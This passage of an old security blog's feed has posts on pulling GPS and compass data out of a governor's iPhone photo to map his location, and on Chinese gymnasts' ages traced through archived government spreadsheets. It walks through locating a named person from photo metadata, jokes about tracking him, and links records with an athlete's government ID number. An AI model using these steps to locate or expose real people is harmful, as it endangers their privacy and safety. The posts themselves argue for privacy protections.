src="http://1.bp.blogspot.com/_bkUaeM7papk/StP60WNKwEI/AAAAAAAAACg/pHmoz1YdL4M/s400/gm1.png" alt="" id="BLOGGER_PHOTO_ID_5391928956113567810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here's a picture Arnold posted of himself meeting with three other state governors. This looks like a lot of fun, so how could members of the public attend? Well, here's the result of dumping EXIF for this picture:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/StP8XHrXGXI/AAAAAAAAACo/ojSRr0aL-TI/s1600-h/gm2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 97px;" src="http://1.bp.blogspot.com/_bkUaeM7papk/StP8XHrXGXI/AAAAAAAAACo/ojSRr0aL-TI/s400/gm2.png" alt="" id="BLOGGER_PHOTO_ID_5391930653020723570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Arnold's iPhone 3GS comes standard with a compass, a GPS, and a critical remote SMS vulnerability. We can see from this data that Arnold has patched the SMS exploit by updating his iPhone to 3.1, so we can't text a rootkit until &lt;a href="http://twitter.com/0xcharlie"&gt;Charlie&lt;/a&gt; shows up in Canada again. In the meantime, let's see what else we can learn.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/StP84QEXfMI/AAAAAAAAACw/LdrRtEp8Bf0/s1600-h/gm3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 150px;" src="http://2.bp.blogspot.com/_bkUaeM7papk/StP84QEXfMI/AAAAAAAAACw/LdrRtEp8Bf0/s400/gm3.png" alt="" id="BLOGGER_PHOTO_ID_5391931222208773314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In this picture we can clearly see the compass orientation, giving us some direction data for the camera, and even better, the current best GPS fix available on the handset when the picture was taken. This should make it easy to build a Governator-tracking app for the iPhone. I'm counting this blog post as prior art.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/StP-UF-SnpI/AAAAAAAAAC4/E1L7yP2J9Eo/s1600-h/gm7.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 194px; height: 55px;" src="http://4.bp.blogspot.com/_bkUaeM7papk/StP-UF-SnpI/AAAAAAAAAC4/E1L7yP2J9Eo/s400/gm7.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5391932800046898834" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Converting and punching this GPS data into Google Maps is pretty easy.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/StP-jn0zKqI/AAAAAAAAADA/Wr61rrMY-IA/s1600-h/gm6.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 321px;" src="http://3.bp.blogspot.com/_bkUaeM7papk/StP-jn0zKqI/AAAAAAAAADA/Wr61rrMY-IA/s400/gm6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5391933066831932066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So what does all this GPS tracking data mean for the rest of us? A whole lot less than it does for the Governator. While uploading a realtime public location history might be considered a security risk for a state leader (though in this case, apparently not...), for most people it's a convenience. The iPhone itself has a security model for photo GPS data that's extremely permissive: grant once, allow forever. Turning off embedded location data in iPhone pictures requires remembering to trip a switch to globally disable GPS, then turning it back on when you're done. And if you forget, there's no way to strip or view the hidden location data while it's on the phone. Privacy? There's no app for that. Unless you're jailbroken, in which case &lt;a href="http://code.google.com/p/iphone-exif/"&gt;there might be&lt;/a&gt;, but on the downside &lt;a href="http://www.wired.com/threatlevel/2009/07/jailbreak/"&gt;Apple thinks &lt;i&gt;very&lt;/i&gt; differently&lt;/a&gt; about those caught escaping from their gilded jail.&lt;br /&gt;&lt;br /&gt;I for one can't help but recall &lt;a href="http://arstechnica.com/tech-policy/news/2007/05/escaping-the-data-panopticon-teaching-computers-to-forget.ars"&gt;Mayer-Schönberger&lt;/a&gt;'s assertion that computers must learn to forget. What's called for in this case is transparency and proactive forgetfulness. If users want to embed and share their location data, they should be able to, however a single Opt-In on the camera app doesn't share nearly enough data with the user about the unintended consequences of location data leakage.&lt;br /&gt;&lt;br /&gt;Perhaps Twitpic should give users the option to strip location data, the iPhone should add a similar switch, and the Governator should accept my modest professional recommendation that he purchase a &lt;a href="http://news.cnet.com/obamas-new-blackberry-the-nsas-secure-pda/"&gt;hardened Blackberry&lt;/a&gt;. I'm not claiming it's secure, but it might be a step in the right direction, and hey, it's very presidential.&lt;br /&gt;&lt;br /&gt;-stryde.hax, 10/13/2009&lt;br /&gt;&lt;br /&gt;&lt;b&gt;update&lt;/b&gt; A reader points out that &lt;a href="http://gdgtgrl.net/2009/07/13/is-your-gps-enabled-camera-phone-sharing-private-info/"&gt;Gadget Girl has spoken to this issue&lt;/a&gt; some already and located some EXIF stripping apps. Details TBD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-9027063790075588042?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FC-zBUT6HRzix_Pbjs0G14YpQPI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FC-zBUT6HRzix_Pbjs0G14YpQPI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FC-zBUT6HRzix_Pbjs0G14YpQPI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FC-zBUT6HRzix_Pbjs0G14YpQPI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/NOYEd4gPHfg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/9027063790075588042/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=9027063790075588042" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/9027063790075588042?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/9027063790075588042?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/NOYEd4gPHfg/wheres-arnold.html" title="Where's Arnold?" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_bkUaeM7papk/StP4-gbya9I/AAAAAAAAACQ/6vc3wggZw0c/s72-c/gm0.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2009/10/wheres-arnold.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cAQXc_fSp7ImA9WxRREU0.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-5088547642136585625</id><published>2008-09-22T09:30:00.001-07:00</published><updated>2008-09-22T09:30:40.945-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-22T09:30:40.945-07:00</app:edited><title>Yang Yun Speaks Out</title><content type="html">&lt;h3&gt;"I was only 14 years old"&lt;/h3&gt;&lt;p&gt;I'd like to conclude writing about the age controversy in Chinese gymnastics with &lt;a href="http://www.heathershow.com/yangyun"&gt;this document&lt;/a&gt;. Produced by &lt;a href="http://www.heathershow.com/"&gt;Heather Lawver&lt;/a&gt; and Cindy our volunteer translator, here for the first time in English is Yang Yun's confession to having cheated at the 2000 Olympic games in Sydney. While Marion Jones does her time in prison for cheating, Yang Yun still holds her Olympic medal. This video lets us put to bed once and for all the question of whether China's government has issued false documents that have allowed their gymnasts to win medals. The only question left is: how many times have they done it?&lt;br /&gt;&lt;br /&gt;While the Internet has made electronic identity easier to wipe out and easier to censor, it has also made the distribution of truth much harder to suppress. In conclusion, here's Yang Yun in her own words. I'm very proud to have worked with so many people around the world on this project: a sincere thank you to everyone who helped.&lt;br /&gt; -stryde.hax&lt;/p&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Bx1u7oJPqSE&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Bx1u7oJPqSE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-5088547642136585625?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/voc6A25u5kc7ARttIHvozmowVf8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/voc6A25u5kc7ARttIHvozmowVf8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/voc6A25u5kc7ARttIHvozmowVf8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/voc6A25u5kc7ARttIHvozmowVf8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/efUy8HB_HwM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/5088547642136585625/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=5088547642136585625" title="37 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5088547642136585625?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5088547642136585625?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/efUy8HB_HwM/yang-yun-speaks-out.html" title="Yang Yun Speaks Out" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>37</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/09/yang-yun-speaks-out.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0YDQ3g9cCp7ImA9WxRTFEg.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-8461976953450631149</id><published>2008-09-02T20:58:00.000-07:00</published><updated>2008-09-03T09:26:12.668-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-03T09:26:12.668-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="1984" /><category scheme="http://www.blogger.com/atom/ns#" term="2008" /><title>A Conspiracy in Plain Sight</title><content type="html">&lt;h3&gt;A Land of Make-Believe&lt;/h3&gt;&lt;p&gt;Who can forget &lt;a href="http://en.wikipedia.org/wiki/Marion_Jones"&gt;Marion Jones&lt;/a&gt;? Seven years after she won gold medals in the Olympic games in Sydney, she was prosecuted by her own government for her role in an illegal steroids distribution ring. Sentenced to a jail term of six months for lying to federal prosecutors about her involvement, she is still currently in jail. After her admission of cheating she was stripped of every Olympic medal she ever won. &lt;br /&gt;&lt;br /&gt;The &lt;i&gt;reality&lt;/i&gt; of Jones's fate is not what I'm writing about today. I want to write about a land of make believe. Pretend for a moment that Jones went on to tell everyone that she cheated in the Olympics on film in a movie about her life. What if Jones went on to become a television reporter, and the mayor of her town gave a speech about her Olympic performance in which he bragged about her steroid use? And what if &lt;i&gt;nobody cared&lt;/i&gt;? That would be a very interesting, very different world, wouldn't it?&lt;/p&gt;&lt;h3&gt;We're Living In It&lt;/h3&gt;&lt;p&gt;Consider for a moment the strange case of Chinese Olympic gymnast &lt;a href="http://en.wikipedia.org/wiki/Yang_Yun"&gt;Yang Yun&lt;/a&gt;. Competing in the same games as Jones in Sydney, Yun won the bronze medal on the uneven bars. Soon thereafter, she was featured in a state sponsored documentary film, "Yang Yun: My Olympics". In this film she states that she competed as a 14-year-old at Sydney, two years underage. A confidential source forwarded me a copy of this film recently, and I have &lt;a href="http://www.archive.org/details/YangYunMyOlympics"&gt;posted it at the Internet Archive&lt;/a&gt;. If Yang Yun's videotaped admission isn't enough, consider &lt;a href="http://www.sports.gov.cn/hnfiles/2000002.htm"&gt;this jubilant speech&lt;/a&gt; still hosted (for now!) on the government web server sports.gov.cn. How old is this document? Annual copies have been saved by the Internet Archive &lt;a href="http://web.archive.org/web/*/http://www.sports.gov.cn/hnfiles/2000002.htm"&gt;dating back to 2002&lt;/a&gt;. The &lt;a href="http://www.google.com/translate?u=http%3A%2F%2Fweb.archive.org%2Fweb%2F20020829015450%2Fhttp%3A%2F%2Fwww.sports.gov.cn%2Fhnfiles%2F2000002.htm&amp;hl=en&amp;ie=UTF-8&amp;sl=zh-CN&amp;tl=en"&gt;Google Translated version from 2002&lt;/a&gt; is in agreement with the currently hosted version. This document is a transcript of a speech given 17 October 2000 by Fu Guoliang, the head of the Hunan Provincial Sports Bureau, to his colleagues. In addition to the automated translation, I've had this document inspected by multiple contacts who speak Chinese because of the translation subtlety I'm about to share with you.&lt;/p&gt;&lt;p&gt;体操运动员杨云实际年龄才１４岁，在悉尼初试身手，&lt;br /&gt;就引起体操界的注目并夺得一枚铜牌，前程不可限量。&lt;/p&gt;&lt;pre&gt;Gymnast Yang Yun's real age was only 14. She tried &lt;br /&gt;her hands in Sydney for the first time and attracted &lt;br /&gt;the attention of the gymnastic community by winning &lt;br /&gt;one bronze medal. Her future is limitless.&lt;/pre&gt;&lt;i&gt;translation courtesy Cindy&lt;/i&gt;&lt;br /&gt;&lt;p&gt;For those who are skeptical, please download this document straight from the government web server it's hosted on and translate it on your own. Google Translate and World Lingo do a pretty good job. The translation above is spot on: Guoliang is really saying &lt;i&gt;real age&lt;/i&gt;, a differentiation one would not normally make. In fact, in the entire course of this speech, he never once uses the phrase "real age" when referring to the age of other gymnasts. Is it conspicuous that the phrase "real age" is used to qualify the age of a gymnast who competed under a government issued passport with a completely different birthday? Whether this distinction is made in order to emphasize that her actual age is different from the one on the passport she competed under, or in order to differentiate between the Chinese cultural traditions of "real age" vs. "virtual age", the point is clear: Yang Yun competed at fourteen years of age. How stunning is it that this is a point of pride to a government official?&lt;/p&gt;&lt;h3&gt;In Plain Sight&lt;/h3&gt;&lt;p&gt;Is this information a conspiracy? A big secret? Take a look at this &lt;a href="http://tieba.baidu.com/f?kz=392013174"&gt;message board listing&lt;/a&gt; posted by insiders within the Chinese gymnastics team:&lt;br /&gt;&lt;p&gt;这个时候是不是不太方便谈这些关于生日、年龄的事，&lt;br /&gt;尤其是两大UB高手的，免得被间谍抓到把柄//&lt;/p&gt;&lt;pre&gt;Talking about these birthday and age matters isn't &lt;br /&gt;too convenient right now, especially for the two &lt;br /&gt;big uneven bars aces [He Kexin and Yang Yilin], &lt;br /&gt;to avoid having (the information) grabbed by spies.&lt;/pre&gt;&lt;p&gt;Certainly someone thinks there's still a need for secrecy. Personally, I'm no longer so sure. It may come as a shock that every 'revelation' in this entry was uncovered &lt;a href="http://www.latimes.com/news/science/la-sp-gymnastics28-2008jul28,0,7464359.story?page=2"&gt;months ago by Diane Pucin&lt;/a&gt;. Her article received the same reception from the IOC as my blog: a cacophony of silence. Certainly Marion Jones needed to be concerned about 'spies'. However I believe the Chinese gymnastics team need fear no such threat of justice.&lt;/p&gt;&lt;h3&gt;Which Reality?&lt;/h3&gt;&lt;p&gt;Taking a look at the two different experiences of Jones and Yang, it's easy to conclude that a double standard is being applied. As &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2008/08/22/AR2008082201782.html"&gt;Sally Jenkins so deftly points out&lt;/a&gt;, the IOC once barred Greek sprinter Ekaterina Thanou from competition simply for a pattern of doping offenses, despite her having tested negative for the Games. Given the documents above, does the Chinese government have a history of age falsification in gymnastics? Can a reasonable person conclude that there is a pattern? And if so, how do we explain the double standard?&lt;/p&gt;&lt;h3&gt;One Standard&lt;/h3&gt;&lt;p&gt;The answer, of course, is that the IOC is much smarter than we are. They are applying a single standard: What The Government Says Is True. The US government declared Jones a cheater, and the IOC applied their standard and stripped her medals. The Chinese government maintains that their gymnasts are of age, and the IOC again applied their standard and agreed. It seems that someone at the IOC is a fan of great literature, and is making an exercise of applying the classics:&lt;/p&gt;&lt;i&gt;He who controls the present, controls the past. He who controls the past, controls the future.&lt;/i&gt;&lt;hr&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-8461976953450631149?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/UilnQf9T3pADaHaDE9H-rHWl8eg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UilnQf9T3pADaHaDE9H-rHWl8eg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/UilnQf9T3pADaHaDE9H-rHWl8eg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/UilnQf9T3pADaHaDE9H-rHWl8eg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/5siGfcRTTcY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/8461976953450631149/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=8461976953450631149" title="22 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/8461976953450631149?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/8461976953450631149?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/5siGfcRTTcY/conspiracy-in-plain-sight.html" title="A Conspiracy in Plain Sight" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>22</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/09/conspiracy-in-plain-sight.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EHRnw4eyp7ImA9WxdaGEw.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-6846586015896566105</id><published>2008-08-26T21:20:00.000-07:00</published><updated>2008-08-26T21:33:57.233-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-26T21:33:57.233-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="medals" /><category scheme="http://www.blogger.com/atom/ns#" term="censorship" /><category scheme="http://www.blogger.com/atom/ns#" term="404" /><title>An Identity Erased</title><content type="html">&lt;h3&gt;Another One Bites the Dust&lt;/h3&gt;&lt;p&gt;Two days ago, I challenged the Chinese government to a race. I &lt;a href="http://strydehax.blogspot.com/2008/08/ready-set-censor.html"&gt;posted&lt;/a&gt; a link to a government spreadsheet hosted on a government web server which contained the name, age, sport, and government ID number of Jiang Yuyuan, another member of China's Olympic gymnastics squad, which showed that she competed underage. After having carefully collected a series of verifiable mirrors of the document, I linked to it for public download. And now that citizen journalists (and &lt;i&gt;professional&lt;/i&gt; journalists) all over the &lt;b&gt;globe&lt;/b&gt; have downloaded it and verified it en masse, the the document finally got deleted nearly two days later. Now to be purely objective I should probably state that I can't verify the reason for deletion, but at this point the options seem limited. An Excel spreadsheet going back years containing over twelve thousand athlete names vanishes 48 hours after I publish a link to it? That's no accident. Personally I don't think 48 hours is a very good level of effort for a professional censor, but then I've never done that type of work. So I'm interested in what you folks have to say. So here's my poll, let me know if you think 48 hours to censor deserves a Gold, Silver, or Bronze medal.&lt;br /&gt;&lt;br /&gt;Here's what censorship looks like:&lt;br /&gt;&lt;a href="http://www.zjsports.gov.cn/zjty/node12/node43/userobject1ai4698/00000002.xls"&gt;http://www.zjsports.gov.cn/zjty/node12/node43/userobject1ai4698/00000002.xls&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And here's what freedom looks like:&lt;br /&gt;&lt;a href="https://secure.wikileaks.org/wiki/Chinese_youth_athlete_competition_entries_2007"&gt;MIRROR : wikileaks.org&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.archive.org/details/ChineseGovernmentRegistrationDocumentZhejiangProvince"&gt;MIRROR : Internet Archive&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.h2dj.com/uclaradionews/files/Diplomat/Olympics%20Age%20Scandal/00000002.xls"&gt;MIRROR : UCLA News Radio&lt;/a&gt;&lt;br /&gt;&lt;a href="http://heathershow.com/media/00000002.xls"&gt;MIRROR : heathershow.com&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-6846586015896566105?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/uUT95TDyXdNnz8aXOGBryV3NZOk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uUT95TDyXdNnz8aXOGBryV3NZOk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/uUT95TDyXdNnz8aXOGBryV3NZOk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uUT95TDyXdNnz8aXOGBryV3NZOk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/72Kao2EKmmY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/6846586015896566105/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=6846586015896566105" title="36 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/6846586015896566105?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/6846586015896566105?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/72Kao2EKmmY/identity-erased.html" title="An Identity Erased" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>36</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/identity-erased.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIFR3k9fyp7ImA9WxdaF08.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-5200253476516049342</id><published>2008-08-24T21:33:00.000-07:00</published><updated>2008-08-25T22:11:56.767-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-25T22:11:56.767-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="discrepancy" /><category scheme="http://www.blogger.com/atom/ns#" term="olympics" /><title>UPDATED Consistency Problems with Cui Dalin's Statement</title><content type="html">&lt;i&gt;&lt;b&gt;updated&lt;/b&gt; 8/25, scroll down for update&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;From &lt;a href="http://www.nytimes.com/2008/08/25/sports/olympics/25gymnastics.html?_r=1&amp;oref=slogin"&gt;the New York Times article&lt;/a&gt; published Aug 24:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Cui Dalin, the vice minister of the General Administration of Sport of China, said He Kexin, the uneven bars Olympic champion, had moved from one team to another last year, and a wrong birth date was written on the registration forms for the new team.&lt;br /&gt;“During the registration, there were some discrepancies in the age of the athlete, therefore that mistake has led to a series of misunderstandings afterward,” Cui said during a closing news conference for the Chinese sports delegation here. “I can say for sure the age of the Chinese gymnasts comply with the rules.”&lt;/i&gt;&lt;p&gt;I think we can all breathe easier now that officials are beginning to address the problems that so many have observed. However having spent some time studying the documents, I'm concerned about what I perceive to be a discrepancy. The alleged mistake led to at least three separate Excel spreadsheets, now deleted, showing a birthday for Kexin of Jan 1, 1994. This in itself is interesting. However my interest is in Cui's statement that the change occurred "last year". Last year was 2007, and as alert readers of this blog will recall, the Internet Archive has kept two copies of a document published to sport.gov.cn which establishes Kexin's birthday as 1-1-1994. The problem here is that the &lt;a href="http://web.archive.org"&gt;Internet Archive&lt;/a&gt; saved one of these copies in June of 2006, &lt;i&gt;two&lt;/i&gt; years ago. Additionally, when the document was stored in the Internet Archive, the document contained a publication date of January 27, 2006. Neither of these dates is in the least bit consistent with Cui's statement.&lt;/p&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;update&lt;/b&gt; 8/25&lt;/i&gt;&lt;br /&gt;&lt;p&gt;And that's just the beginning of the problems with Cui's statement. I'll start with a summary, and I'll follow with documents. On this blog, I've listed (over time) four different documents: three Excel spreadsheets and a web page, all deleted from www.sport.gov.cn, the General Administration Sport China web site, and they are all available mirrored or cached online. Two of the documents are &lt;i&gt;after&lt;/i&gt; the team transfer that Cui is referring to in his statement: these are the zctc.xls documents. One of them is the web page that documents the team transfer of He Kexin, this is the web page saved in the Internet Archive. The most important document, however, is 05ticao.xls, still saved in the Baidu cache at the time of this writing. Turns out "ticao" is the Pinyin for "gymnastics", so this document is basically "05gymnastics.xls". It predates the team transfer that Cui is speaking to. And &lt;i&gt;all four documents show He Kexin's birthday as Jan 1 1994&lt;/i&gt;. How can a mistake a "year" ago made during a team transfer have affected He Kexin's records well before the team transfer, in 2005? Here's a link to &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b2090bbff03470301e22b0dd93d91980ac925f65d666203541c6171d965ceadc46528062cd1aafb81990efad7684aea582834907910d523b9da8cd1b1d549d3af01633e4bb9b4f530441e9b0276588132968&amp;p=9e64c54ad6b105fc57ecc00c4e&amp;user=baidu"&gt;Baidu cache of 05ticao.xls&lt;/a&gt; (this will expire someday soon, I'm reserving this space for a mirror link). It's a registry of gymnasts for 2005. For the following sectoin, you can copy and paste to search within the document to follow along. The document tells the gymnast totals:&lt;br /&gt;&lt;pre&gt;注:总注册1016人;其中确认676人;首注329人;交流11人.&lt;br /&gt;Total registration 1016 people, among which 676 &lt;br /&gt;people were previously registered, 329 people are &lt;br /&gt;first-time registrations, and 11 people are "exchange".&lt;/pre&gt;&lt;br /&gt;These exchanged gymnasts are the exchanges that Cui is referring to in his statement, however, this year was &lt;i&gt;not&lt;/i&gt; an exchange year for He Kexin. This was He Kexin's first registration year, see row 799:&lt;br /&gt;&lt;pre&gt;799,"何可欣","女","1994.1.01","北京","北京","北京市体育局","首注"&lt;br /&gt;799, He Kexin, F, 1994.1.01, Beijing, Beijing, &lt;br /&gt;Beijing Municipal Sports Bureau, First Time Registration&lt;/pre&gt;&lt;br /&gt;Next the document identifies its originator:&lt;br /&gt;&lt;pre&gt;体操中心体操部&lt;br /&gt;(Gymnastics Center, Gymnastics Section)&lt;/pre&gt;&lt;br /&gt;And finally, the document contains its signing date:&lt;br /&gt;&lt;pre&gt;2005-3-17&lt;/pre&gt;&lt;br /&gt;Cui's statement is not a reasonable explanation for the discrepancies that have been found. This list of gymnasts for 2005, published by Cui's organization, the General Administration of Sport China, lists He Kexin as having been born in 1994 during her first time registration. This is before her transfer in 2006, which is listed in this &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Fweb.archive.org%2Fweb%2F20070630205138%2Fhttp%3A%2F%2Fwww.sport.gov.cn%2Fshow_info.php%3Fn_id%3D14342&amp;hl=en&amp;ie=UTF8&amp;sl=zh-CN&amp;tl=en"&gt;athlete exchange agreement&lt;/a&gt; archived by the Internet Archive in 2006. The team change that Cui cites in his statement as having happened a year ago actually happened two years ago, and He Kexin's original registration with a 1994 birthday in early 2005 is far too early to be explained by a mistake "last year". &lt;br /&gt;&lt;i&gt;end update&lt;/i&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Now that Chinese officials have broken their silence on the inconsistencies that are surfacing, I'm hoping we can all expect a statement soon on the &lt;a href="http://strydehax.blogspot.com/2008/08/ready-set-censor.html"&gt;case of Jiang Yuyuan&lt;/a&gt;, whose name and government ID number appear in a government-hosted spreadsheet I linked to earlier this evening. Alert readers will of course realize that Chinese government ID numbers embed the birth date, 